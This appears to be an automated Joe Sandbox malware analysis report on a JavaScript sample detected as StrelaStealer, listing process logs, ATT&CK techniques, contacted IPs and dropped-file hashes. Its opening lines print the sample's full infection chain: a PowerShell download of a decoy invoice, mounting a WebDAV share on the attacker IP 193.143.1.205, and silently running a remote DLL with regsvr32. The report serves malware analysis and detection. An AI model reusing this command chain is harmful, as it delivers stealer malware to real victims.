Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28409445231390.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
270423757158192531.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer
270423757158192531.js	7%	Virustotal		Browse

Source	Detection	Scanner	Label
http://193.143.1.205:8888/(	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/sm	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/b	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod.C:	edb.log.8.dr	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.7.dr	false		high
https://g.live.com/odclientsettings/ProdV2	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	edb.log.8.dr	false		high
http://193.143.1.205:8888/(	net.exe, 00000006.00000002.1811787160.000002014F968000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 00000008.00000002.3036829491.000001F8B8800000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV2.C:	edb.log.8.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000006.00000002.1811951719.000002014F99B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/b	net.exe, 00000006.00000003.1809039048.000002014F9BB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1811212236.000002014F9C1000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1812153045.000002014F9C2000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/sm	net.exe, 00000006.00000002.1811787160.000002014F968000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	qmgr.db.8.dr, edb.log.8.dr	false		high
http://crl.mi	svchost.exe, 00000008.00000002.3037031529.000001F8B88C2000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588636
Start date and time:	2025-01-11 03:29:26 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 2s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	270423757158192531.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/59@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 2.16.168.105, 2.16.168.107, 172.64.41.3, 162.159.61.3, 23.209.209.135, 199.232.214.172, 184.28.90.27, 23.200.0.33, 23.200.0.21, 4.245.163.56, 34.237.241.83, 23.56.162.204, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, fs.microsoft.com, slscr.update.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com.delivery.microsoft.com, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, e16604.g.akamaiedge.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
21:30:26	API Interceptor	21x Sleep call for process: powershell.exe modified
21:30:30	API Interceptor	1x Sleep call for process: net.exe modified
21:30:30	API Interceptor	2x Sleep call for process: svchost.exe modified
21:30:38	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	2624560062728623951.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	166452923276113028.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	16042278381135117219.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1297823757234143258.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	20891229701394327174.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	7654219842078021961.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1231561673271419181.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1487427797195518826.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1504631236979031969.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	7222172992877722612.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	2624560062728623951.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	7654219842078021961.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1231561673271419181.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1487427797195518826.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1504631236979031969.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	7222172992877722612.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2556095152538830312.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	23754232101540928500.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2024032514221887775.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	225111419252504808.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	853872402647317272.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2624560062728623951.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2920450291176811805.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	166452923276113028.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	16042278381135117219.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1297823757234143258.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	20891229701394327174.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	7654219842078021961.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1231561673271419181.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1487427797195518826.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.307351392053135
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvrF:KooCEYhgYEL0In
MD5:	180EF1C95D5A63B5AC5DCEECD4761ED9
SHA1:	A692496494AB71B725D2D9494603054E0FFAC33A
SHA-256:	EDF2405C6A716D31267F95246394A43AA718EA3615837D2FC27502D7476A84D4
SHA-512:	BCF24FE001ADCFF095C587C4688903C4688BCE9A85C0E1F77C60F049FB5386A83E3C6F19F01C3E1762FDD9AF390CD8FD383A4BED187B45B2EE8BC3A724AF0175
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xc7740da8, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.4220869552981368
Encrypted:	false
SSDEEP:	1536:5SB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:5aza/vMUM2Uvz7DO
MD5:	C4D3102DC5DE8ADCB1DA98BFC7347961
SHA1:	8FA387EDD1B368F1EC35663FAF8911B5544AE927
SHA-256:	C3AA7D043FBCB9CE9F3884F6F8CE5B4116389ED8B6F13F043E9FF432E053B3E2
SHA-512:	C0D8E5B190ECE09867648223B67EEA5D232A32CEC19F6D95472D91D4E439EF201FA0169FD1D0E6CB039C6AC3B745727DCDD475039002213E86D8E94EB026D638
Malicious:	false
Preview:	.t..... .......A.......X\...;...{......................0.!..........{A. ....}..h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{...................................M.. ....}..................a.y. ....}...........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07533036777556766
Encrypted:	false
SSDEEP:	3:xStlKYeyXJWjn13a/Cc5ZJwllcVO/lnlZMxZNQl:xyKzX53qCcmOewk
MD5:	2CF39A5F359939FCFE65ABA083869113
SHA1:	F24EFAB22F4CA57889C7376CC822E560FD524681
SHA-256:	1FC46C382B8B458AB79C254806AF8423BC993D60F49FEEDCB7E96AA267E1E498
SHA-512:	9D0D71F743396FDB6C2F4F073A7DB84A7BA22128584FF2A6175F9F9524617C60BCFCB46789124A887651D27BFF12B299F9F166F429A9204C8952B968445E42C6
Malicious:	false
Preview:	R........................................;...{.. ....}.......{A..............{A......{A..........{A]................a.y. ....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.139371323766606
Encrypted:	false
SSDEEP:	6:iO4qqhR/t+q2Pwkn2nKuAl9OmbnIFUtSqqhRHusZZmwsqqhRSd3VkwOwkn2nKuAR:7YhR/t+vYfHAahFUt2hRH5Z/UhRStV50
MD5:	589B5A86EBCF4E7F8A598F2200AF7794
SHA1:	D59B07A0313C959F655A55CAEA447E7B9C6CC3F3
SHA-256:	585EB4B1D7455C82E8CE3188E0B88D2D5420E080A8F1D081ACD72A85C5A874ED
SHA-512:	7A5BA0F208AEF1A391F62F0ADC400A024C992324EF226DB9E6524489ABEE4CF9027D6C31A33604A408BD9ABC5BBDB5BE8497BE5B8E7E520D99930E4FD923135C
Malicious:	false
Preview:	2025/01/10-21:30:30.419 1fdc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-21:30:30.422 1fdc Recovering log #3.2025/01/10-21:30:30.423 1fdc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.139371323766606
Encrypted:	false
SSDEEP:	6:iO4qqhR/t+q2Pwkn2nKuAl9OmbnIFUtSqqhRHusZZmwsqqhRSd3VkwOwkn2nKuAR:7YhR/t+vYfHAahFUt2hRH5Z/UhRStV50
MD5:	589B5A86EBCF4E7F8A598F2200AF7794
SHA1:	D59B07A0313C959F655A55CAEA447E7B9C6CC3F3
SHA-256:	585EB4B1D7455C82E8CE3188E0B88D2D5420E080A8F1D081ACD72A85C5A874ED
SHA-512:	7A5BA0F208AEF1A391F62F0ADC400A024C992324EF226DB9E6524489ABEE4CF9027D6C31A33604A408BD9ABC5BBDB5BE8497BE5B8E7E520D99930E4FD923135C
Malicious:	false
Preview:	2025/01/10-21:30:30.419 1fdc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-21:30:30.422 1fdc Recovering log #3.2025/01/10-21:30:30.423 1fdc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	333
Entropy (8bit):	5.134436236622726
Encrypted:	false
SSDEEP:	6:iO4qqhKROq2Pwkn2nKuAl9Ombzo2jMGIFUtSqqh3XZmwsqqh3FkwOwkn2nKuAl97:7YhKROvYfHAa8uFUt2h3X/Uh3F5JfHAv
MD5:	5F2FD8A10D5396630D410A57FB7D3173
SHA1:	4BE6989C5F60587E0A5219E5EC71194A3EF14BF6
SHA-256:	A735FF773402D8EA02D7F0F8EAC71A173822186B2F0A5CECD535A397C98821C8
SHA-512:	4388AD515180F4C7509E63827589EB6CC1A495F1E33E2447358438BC5D55D90F29AFEA5040FFDB5EAB609DD9F18F9418AC2D4661C9D6E5A05A13B4652A47AE2A
Malicious:	false
Preview:	2025/01/10-21:30:30.506 c54 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-21:30:30.507 c54 Recovering log #3.2025/01/10-21:30:30.507 c54 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	333
Entropy (8bit):	5.134436236622726
Encrypted:	false
SSDEEP:	6:iO4qqhKROq2Pwkn2nKuAl9Ombzo2jMGIFUtSqqh3XZmwsqqh3FkwOwkn2nKuAl97:7YhKROvYfHAa8uFUt2h3X/Uh3F5JfHAv
MD5:	5F2FD8A10D5396630D410A57FB7D3173
SHA1:	4BE6989C5F60587E0A5219E5EC71194A3EF14BF6
SHA-256:	A735FF773402D8EA02D7F0F8EAC71A173822186B2F0A5CECD535A397C98821C8
SHA-512:	4388AD515180F4C7509E63827589EB6CC1A495F1E33E2447358438BC5D55D90F29AFEA5040FFDB5EAB609DD9F18F9418AC2D4661C9D6E5A05A13B4652A47AE2A
Malicious:	false
Preview:	2025/01/10-21:30:30.506 c54 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-21:30:30.507 c54 Recovering log #3.2025/01/10-21:30:30.507 c54 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\8cfc3c19-e72c-411b-843f-8919e42212bd.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.956063180101027
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqYsBdOg2HMEcaq3QYiubInP7E4T3y:Y2sRdsEdMHu3QYhbG7nby
MD5:	5897FB713AE7676A59418C8367C6E70D
SHA1:	A36C6E05EBCEA9D49564C0B0961847FC31F3BA62
SHA-256:	B2B679495F393185B8DF96BF0C1AD3E6A600F671A5522ADE0A1FB8B13D20C8E8
SHA-512:	17E1AAE34DCFF91A70681FABE026FF13A112B20895B12FB40753A2637DB22B0A1759000E17764FA4308580E3FF395E9AF58D5B0A404A58475913C6D7B313697A
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381122642235009","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":133161},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.956063180101027
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqYsBdOg2HMEcaq3QYiubInP7E4T3y:Y2sRdsEdMHu3QYhbG7nby
MD5:	5897FB713AE7676A59418C8367C6E70D
SHA1:	A36C6E05EBCEA9D49564C0B0961847FC31F3BA62
SHA-256:	B2B679495F393185B8DF96BF0C1AD3E6A600F671A5522ADE0A1FB8B13D20C8E8
SHA-512:	17E1AAE34DCFF91A70681FABE026FF13A112B20895B12FB40753A2637DB22B0A1759000E17764FA4308580E3FF395E9AF58D5B0A404A58475913C6D7B313697A
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381122642235009","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":133161},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4320
Entropy (8bit):	5.259618233998757
Encrypted:	false
SSDEEP:	96:etJCV4FAsszrNamjTN/2rjYMta02fDtehgO7BtTgo7EzgQJ:etJCV4FiN/jTN/2r8Mta02fEhgO73goO
MD5:	F971B09E454707594AFF3D25DD396159
SHA1:	05890BBE58C336ACE0B0AFF14B2DBD83128D9602
SHA-256:	A448981DFC4AAD36C77795DFE9113358022788774B81E5CF41DFECB46E005E64
SHA-512:	F9656E991A1AAFEF6A9387661D3D0909723FD29F369ABE6601DA3941467708EDCA51D988B3D78689B85D5438BEE39BCB71DCD4CD84F077CF5F5218638EE3C0EF
Malicious:	false
Preview:	*...#................version.1..namespace-['O.o................next-map-id.1.Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/.0>...r................next-map-id.2.Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/.1O..r................next-map-id.3.Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/.2.\.o................next-map-id.4.Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/.3....^...............Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/..\|.^...............Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/n..Fa...............Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/DQ..a...............Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/i.`do................next-map-id.5.Pnamespace-de635bf2_6773_4d83_ad16_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.145553276324036
Encrypted:	false
SSDEEP:	6:iO4qqhTAIq2Pwkn2nKuAl9OmbzNMxIFUtSqqhTaZmwsqqhTmkwOwkn2nKuAl9Omk:7YhNvYfHAa8jFUt2h+/Uhy5JfHAa84J
MD5:	75847C7825CA1B26BFF02B8E8B94364D
SHA1:	1EB3EFD8C999CDDDFB2BD10D8D3B89A998145926
SHA-256:	78A5320695CDCED6BF034F57DAE7D6A53A73FCE69459C90C9F5D1F5865E1327C
SHA-512:	3ED291F3414816704D827B84C55A0A3FF89588DD703D75521A979FC151BB07F9AA4CC6351856F5558E54D8B0A6FD5CA8D0362231198BA5D026AD61C7B4A12F70
Malicious:	false
Preview:	2025/01/10-21:30:30.632 c54 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-21:30:30.634 c54 Recovering log #3.2025/01/10-21:30:30.634 c54 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.145553276324036
Encrypted:	false
SSDEEP:	6:iO4qqhTAIq2Pwkn2nKuAl9OmbzNMxIFUtSqqhTaZmwsqqhTmkwOwkn2nKuAl9Omk:7YhNvYfHAa8jFUt2h+/Uhy5JfHAa84J
MD5:	75847C7825CA1B26BFF02B8E8B94364D
SHA1:	1EB3EFD8C999CDDDFB2BD10D8D3B89A998145926
SHA-256:	78A5320695CDCED6BF034F57DAE7D6A53A73FCE69459C90C9F5D1F5865E1327C
SHA-512:	3ED291F3414816704D827B84C55A0A3FF89588DD703D75521A979FC151BB07F9AA4CC6351856F5558E54D8B0A6FD5CA8D0362231198BA5D026AD61C7B4A12F70
Malicious:	false
Preview:	2025/01/10-21:30:30.632 c54 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-21:30:30.634 c54 Recovering log #3.2025/01/10-21:30:30.634 c54 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 16, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 16
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.4447886232750635
Encrypted:	false
SSDEEP:	384:Ceeci5tEiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:Czs3OazzU89UTTgUL
MD5:	F6AF8D6647E896B7EF623B11D2C1798D
SHA1:	60C8F8274A28A07471DABD3BE55829EDDE6BBAEC
SHA-256:	350A22073D7A93105503121B642830EBAEEACDDC8333A7D90053ED9D25F13CA8
SHA-512:	9CB51228BA195B86EDAEFFBE96CB8960C7990D8D1306821F3DDFC1B4D2F98EB702777A311FD4E1584142F543CC40BB3DB1766D042F130535540A9CF44CA7F435
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.2136090196613623
Encrypted:	false
SSDEEP:	24:7+tzmnuwKZWqL7zkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf9F:7MinCQq/mFTIF3XmHjBoGGR+jMz+LhD
MD5:	3823412532F04BD7EC62EE2EF373EF78
SHA1:	4720514BFE19CB9368D82CEC5534C6FBC379AFED
SHA-256:	21B20AF561527DF30A6F2E4705B1775ED745CE8ECE3814993A513091BBE5ADE2
SHA-512:	FA64B89933822E33C0E8B82AF5453F886CA197C1756294DCB6B712CAD27B75285C36A9467BACCF109D31B37176AB15005316DE13A8710145611011E08FCD3886
Malicious:	false
